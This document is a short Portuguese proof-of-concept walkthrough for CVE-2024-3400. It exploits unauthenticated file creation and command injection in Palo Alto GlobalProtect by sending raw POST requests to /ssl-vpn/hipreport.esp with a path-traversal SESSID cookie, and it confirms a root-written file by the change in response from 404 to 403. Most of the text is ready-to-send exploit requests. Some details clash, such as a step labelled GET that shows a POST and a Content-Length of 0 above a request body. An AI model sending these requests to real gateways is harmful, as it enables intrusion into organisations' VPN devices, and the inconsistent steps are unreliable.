
Etapas de exploração de prova de conceito para CVE-2024-3400, demonstrando injeção de comando não autenticada no Palo Alto GlobalProtect via cookie e parâmetros de formulário manipulados.
#Passos :
#1. Verificar se o ficheiro (0xr2r.txt) está presente no dispositivo executando o pedido GET abaixo ou podemos verificar o mesmo abrindo
https://domain.com/global-protect/portal/images/0xr2r.txt URL no navegador se receber uma resposta 404, isso significa que o ficheiro não está presente.
POST /ssl-vpn/hipreport.esp HTTP/1.1
Host: domain.com
Cookie: SESSID=/../../../var/appweb/sslvpndocs/global-protect/portal/images/0xr2r.txt
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
#2. agora coloque o ficheiro (0xr2r.txt) no dispositivo executando o pedido POST abaixo. Isto criará o ficheiro no dispositivo no caminho indicado com acesso root.
POST /ssl-vpn/hipreport.esp HTTP/1.1
Host: domain.com
Cookie: SESSID=/../../../var/appweb/sslvpndocs/global-protect/portal/images/0xr2r.txt
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
user=0xr2r&portal=0xr2r&authcookie=284ad748-7ce2-4753-a39a-aa381b18cf70&domain=0xr2r&computer=0xr2r&client-ip=0xr2r&client-ipv6=0xr2r&md5-sum=0xr2r&gwHipReportCheck=0xr2r
#3. agora, se tentar aceder ao ficheiro novamente, deve receber um 403 em vez de 404. Isto prova que o ficheiro (0xr2r.txt) está presente no dispositivo com acesso root.
POST /ssl-vpn/hipreport.esp HTTP/1.1
Host: domain.com
Cookie: SESSID=/../../../var/appweb/sslvpndocs/global-protect/portal/images/0xr2r.txt
Content-Type: application/x-www-form-urlencoded
Content-Length: 170
user=0xr2r&portal=0xr2r&authcookie=284ad748-7ce2-4753-a39a-aa381b18cf70&domain=0xr2r&computer=0xr2r&client-ip=0xr2r&client-ipv6=0xr2r&md5-sum=0xr2r&gwHipReportCheck=0xr2r